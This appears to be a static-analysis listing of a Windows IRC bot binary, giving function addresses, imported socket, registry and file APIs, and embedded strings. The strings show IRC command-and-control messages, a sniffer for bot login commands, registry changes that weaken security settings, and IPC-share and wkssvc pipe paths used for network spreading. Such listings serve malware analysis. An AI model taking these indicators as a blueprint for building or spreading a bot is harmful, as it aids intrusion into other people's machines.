	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"\r\n

sub_417688(59dd):
	WS2_32.connect
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.getsockopt

sub_41D1C3(5a9c):
	KERNEL32.ExitThread

sub_419501(5b85):
	KERNEL32.GetDiskFreeSpaceExA

sub_41CEAF(5bb7):
	ADVAPI32.RegOpenKeyExA
	ADVAPI32.RegSetValueExA
	ADVAPI32.RegCloseKey
	KERNEL32.GetLogicalDrives
	KERNEL32.GetDriveTypeA

	"Software\\Microsoft\\OLE"
	"EnableDCOM"
	"-"
	"-"
	"SYSTEM\\CurrentControlSet\\Control\\Lsa"
	"restrictanonymous"
	"-"
	"-"
	"-"
	"%c$"
	"%c:\\"
	"-"
	"-"
	"-"

sub_4281D4(5cb8):
	KERNEL32.IsBadReadPtr

sub_4281F0(5cb8):
	KERNEL32.IsBadWritePtr

sub_410A35(5d5c):
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.connect
	WS2_32.send
	KERNEL32.Sleep
	WS2_32.closesocket

	""...
	"windows.exe"

sub_4146A1(5d63):
	WS2_32.socket
	KERNEL32.Sleep
	WS2_32.WSAGetLastError
	WS2_32.setsockopt
	WS2_32.htons
	WS2_32.bind
	WS2_32.select
	WS2_32.recvfrom
	WS2_32.inet_ntoa
	WS2_32.sendto
	WS2_32.closesocket
	KERNEL32.ExitThread

	"-"
	"rb"
	"-"
	"-"
	"-"

sub_41D41B(5fb7):
	"www.schlund.net"
	"www.utwente.nl"
	"verio.fr"
	"www.1und1.de"
	"www.switch.ch"
	"www.belwue.de"
	"de.yahoo.com"
	"www.google.it"
	"www.xo.net"
	"www.stanford.edu"
	"www.verio.com"
	"www.nocster.com"
	"www.rit.edu"
	"www.cogentco.com"
	"www.burst.net"
	"nitro.ucsc.edu"
	"www.level3.com"
	"www.above.net"
	"www.easynews.com"
	"www.google.com"
	"www.lib.nthu.edu.tw"
	"www.st.lib.keio.ac.jp"
	"www.d1asia.com"
	"www.nifty.com"
	"yahoo.co.jp"
	"www.google.co.jp"
	"-"

sub_4183AB(6265):
	USER32.IsWindow
	USER32.SendMessageA
	USER32.DestroyWindow

	"Window"

sub_40123B(63cf):
	WS2_32.send
	KERNEL32.Sleep

	"NOTICE"
	"PRIVMSG"
	"%s"
	"%s %s :%s\r\n"

sub_413848(655e):
	WS2_32.select
	WS2_32.closesocket
	WS2_32.recv
	WS2_32.getpeername
	WS2_32.WSAGetLastError
	WS2_32.gethostbyaddr
	WS2_32.inet_ntoa
	WS2_32.send
	NTDLL.RtlGetLastWin32Error
	KERNEL32.ExitThread

	"-"
	"-"
	"Permission denied\n"
	"-"
	"-"
	"-"

sub_416311(6d7a):
	WS2_32.htons
	WS2_32.socket
	WS2_32.ioctlsocket
	WS2_32.connect
	KERNEL32.Sleep
	WS2_32.closesocket

sub_41519E(6e16):
	"Bot	sniff"
	"#.fast.#"
	"[PSNIFF]:"
	"PSNIFF//"
	"JOIN	#"
	"302 "
	"366 "
	":.login"
	":!login"
	":!Login"
	":.Login"
	":.ident"
	":!ident"
	":.hashin"
	":!hashin"

sub_412DD9(6ec6):
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.recv
	WS2_32.closesocket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread

	"GET "
	" "
	"\r\n"
	"-"

sub_40BC56(6ee1):
	WS2_32.socket
	WS2_32.htons
	WS2_32.ioctlsocket
	WS2_32.connect
	WS2_32.select
	WS2_32.closesocket

sub_4297E3(6f30):
	"invalid string position"

sub_410F37(7039):
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle

	"fμΠ\a"
	"\\\\%s"
	"."
	"\\\\%s\\ipc$"
	"\\\\%s\\pipe\\wkssvc"

sub_40F5F6(7071):
	WS2_32.send

	"GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...

sub_412135(7327):
	WS2_32.send
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA
	KERNEL32.FileTimeToLocalFileTime
	KERNEL32.FileTimeToSystemTime
	KERNEL32.Sleep
	KERNEL32.FindClose

	"\n"
	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\n